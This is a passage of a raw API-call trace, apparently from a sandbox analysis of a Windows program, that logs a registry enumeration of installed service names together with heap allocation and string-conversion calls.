CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0244.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0244.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0244.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0244.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0244.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0244.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0244.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0244.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0244.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0244.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0244.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0244.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0244.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0244.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0244.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0244.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0244.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0244.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0244.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0244.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0244.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0244.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0244.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0244.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0244.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0244.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0244.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0244.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0244.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0244.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0244.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0244.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0244.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0244.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0244.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0244.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0244.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0244.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0244.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0244.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0244.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0244.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0244.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0244.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0244.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0244.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0244.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0244.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0244.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | 